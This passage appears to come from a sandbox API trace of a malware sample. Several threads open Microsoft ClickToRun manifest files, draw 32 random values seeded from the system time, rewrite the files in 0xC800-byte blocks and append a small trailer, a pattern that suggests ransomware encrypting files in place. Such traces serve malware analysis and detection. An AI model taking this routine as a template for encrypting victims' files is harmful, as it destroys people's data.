	[0093.207] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.207] WriteFile (hFile=0x1c20, lpBuffer=0x2e341a0, nNumberOfBytesToWrite=0x159, lpNumberOfBytesWritten=0x2ca3f840, lpOverlapped=0x0) 

Thread:
	id = 1292
	os_tid = 0x206c

	[0089.146] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 0x20
	[0089.147] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.147] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c24
	[0089.147] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2cabfe5c | out: lpFileSize=0x2cabfe5c*=96644) returned 1
	[0089.147] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x17980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.147] ReadFile (in: hFile=0x1c24, lpBuffer=0x2cabfde0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cabfddc, lpOverlapped=0x0 | out: lpBuffer=0x2cabfde0*, lpNumberOfBytesRead=0x2cabfddc*=0x4, lpOverlapped=0x0) returned 1
	[0089.152] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0089.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0089.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.152] NtQuerySystemTime (in: CurrentTime=0x2cabfdbc | out: CurrentTime=0x2cabfdbc*=132251868158819320) returned 0x0
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xded65c26
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x18a4d493
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x7f4e5021
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xa74dee34
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x8cbf8210
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xb22e26ea
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x96285c8e
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x18749476
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x3f009472
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xdb3d9169
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xbd991961
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x66b16930
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xc02fb8e4
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x772e78d0
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x103ba803
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x9e3d61a5
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x49149e22
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x37be22a
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x4241013b
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x4abb8f5e
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xcd4abf49
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xc7ce8d95
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xfab2d2f0
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xc67f65f4
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x3fe4e40f
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x3deeb88b
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x26697766
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x7f53c6b6
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xb6abf7dc
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xec762db5
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0xc4ae4b7e
	[0089.152] RtlRandom (in: Seed=0x2cabfdc8 | out: Seed=0x2cabfdc8) returned 0x4a1d25d7
	[0089.164] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.164] ReadFile (in: hFile=0x1c24, lpBuffer=0x481f010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2cabfd9c, lpOverlapped=0x0 | out: lpBuffer=0x481f010*, lpNumberOfBytesRead=0x2cabfd9c*=0xc800, lpOverlapped=0x0) returned 1
	[0089.165] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0089.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0089.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0089.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x482b818
	[0089.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0089.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0089.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0089.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.167] WriteFile (in: hFile=0x1c24, lpBuffer=0x482b818*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2cabfd9c, lpOverlapped=0x0 | out: lpBuffer=0x482b818*, lpNumberOfBytesWritten=0x2cabfd9c*=0xc800, lpOverlapped=0x0) returned 1
	[0093.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x482b818) returned 1
	[0093.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481f010) returned 1
	[0093.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4733590
	[0093.206] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.206] WriteFile (hFile=0x1c24, lpBuffer=0x2e03950, nNumberOfBytesToWrite=0x13f, lpNumberOfBytesWritten=0x2cabfe1c, lpOverlapped=0x0) 

Thread:
	id = 1293
	os_tid = 0x2070

	[0089.169] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.170] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.170] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c28
	[0089.170] GetFileSizeEx (in: hFile=0x1c28, lpFileSize=0x2cb3fb48 | out: lpFileSize=0x2cb3fb48*=720348) returned 1
	[0089.170] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0xafdd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.170] ReadFile (in: hFile=0x1c28, lpBuffer=0x2cb3facc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cb3fac8, lpOverlapped=0x0 | out: lpBuffer=0x2cb3facc*, lpNumberOfBytesRead=0x2cb3fac8*=0x4, lpOverlapped=0x0) returned 1
	[0089.172] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0089.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781620
	[0089.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0089.172] NtQuerySystemTime (in: CurrentTime=0x2cb3faa8 | out: CurrentTime=0x2cb3faa8*=132251868159131796) returned 0x0
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xd82ae044
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xd407970b
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x24460ca7
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x48d93349
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x27480b72
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x1b6444e2
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x2ad7634f
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x888a0792
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x13b35300
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xe04a4887
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x240ff7d1
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x173785c4
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x491ecf1
	[0089.172] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x59d34ead
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x5bdcf432
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x2cc477c3
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xba119e43
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xf26d111e
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x1e901ebc
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xaad4f54
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x2b1a5c88
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xa22fe9f0
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xf173cf06
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xfa0a86a2
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xf110fb76
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x610e90e3
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x995f321e
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xd27f9520
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x6b28d670
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xb0c1212b
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0xcfed6cb9
	[0089.173] RtlRandom (in: Seed=0x2cb3fab4 | out: Seed=0x2cb3fab4) returned 0x36b5384e
	[0089.181] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.182] ReadFile (in: hFile=0x1c28, lpBuffer=0x4838020, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2cb3fa60, lpOverlapped=0x0 | out: lpBuffer=0x4838020*, lpNumberOfBytesRead=0x2cb3fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0089.183] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0089.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0089.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0089.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4844828
	[0089.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0089.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0089.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0089.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.186] WriteFile (in: hFile=0x1c28, lpBuffer=0x4844828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2cb3fa60, lpOverlapped=0x0 | out: lpBuffer=0x4844828*, lpNumberOfBytesWritten=0x2cb3fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0093.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4844828) returned 1
	[0093.207] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.207] ReadFile (in: hFile=0x1c28, lpBuffer=0x4838020, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2cb3fa60, lpOverlapped=0x0 | out: lpBuffer=0x4838020*, lpNumberOfBytesRead=0x2cb3fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0093.448] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0093.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47539f8
	[0093.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984ca8
	[0093.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984ca8) returned 1
	[0093.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0093.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984938
	[0093.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c80
	[0093.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c80) returned 1
	[0093.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47539f8) returned 1
	[0093.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0093.453] WriteFile (in: hFile=0x1c28, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2cb3fa60, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x2cb3fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0093.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0093.758] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0xa35dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.758] ReadFile (in: hFile=0x1c28, lpBuffer=0x4838020, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2cb3fa60, lpOverlapped=0x0 | out: lpBuffer=0x4838020*, lpNumberOfBytesRead=0x2cb3fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0093.900] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0xa35dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0093.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0093.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a50
	[0093.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a50) returned 1
	[0093.901] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0093.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x49849b0
	[0093.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a50
	[0093.902] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a50) returned 1
	[0093.902] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0093.902] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0093.902] WriteFile (in: hFile=0x1c28, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2cb3fa60, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x2cb3fa60*=0xc800, lpOverlapped=0x0) returned 1
	[0093.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0093.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733800
	[0093.935] SetFilePointerEx (in: hFile=0x1c28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.935] WriteFile (hFile=0x1c28, lpBuffer=0x2e02390, nNumberOfBytesToWrite=0x1a5, lpNumberOfBytesWritten=0x2cb3fb08, lpOverlapped=0x0) 

Thread:
	id = 1294
	os_tid = 0x2074

	[0089.172] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.183] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.183] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c2c
	[0089.187] GetFileSizeEx (in: hFile=0x1c2c, lpFileSize=0x2cbbfaf4 | out: lpFileSize=0x2cbbfaf4*=103844) returned 1
	[0089.187] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x195a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.187] ReadFile (in: hFile=0x1c2c, lpBuffer=0x2cbbfa78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cbbfa74, lpOverlapped=0x0 | out: lpBuffer=0x2cbbfa78*, lpNumberOfBytesRead=0x2cbbfa74*=0x4, lpOverlapped=0x0) returned 1
	[0089.189] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0089.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0089.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0089.189] NtQuerySystemTime (in: CurrentTime=0x2cbbfa54 | out: CurrentTime=0x2cbbfa54*=132251868159288034) returned 0x0
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xfeee7351
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xcf5adcc6
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x6571d0ab
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x5cb00986
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x27b42dfb
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x13759d1a
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xa906d307
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xc87cef3e
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x2e0e1ce
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x1902fda8
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x3377b194
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x1a0d584c
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x8c91785f
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x7bcf2a5
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xaef4d66d
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xe9f15dfd
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xe9f78636
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xda6f94a4
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x36920a0c
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x3ef7b572
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x1fcd8ffe
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x94da3313
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x7d8fa2ef
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x60237c28
	[0089.189] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xab017c51
	[0089.190] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x2f749f56
	[0089.190] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x7b5b404
	[0089.190] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xad756f7a
	[0089.190] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x44a06390
	[0089.190] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xe8a2d3b4
	[0089.190] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0xc0c002f
	[0089.190] RtlRandom (in: Seed=0x2cbbfa60 | out: Seed=0x2cbbfa60) returned 0x4e3b03ca
	[0089.198] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
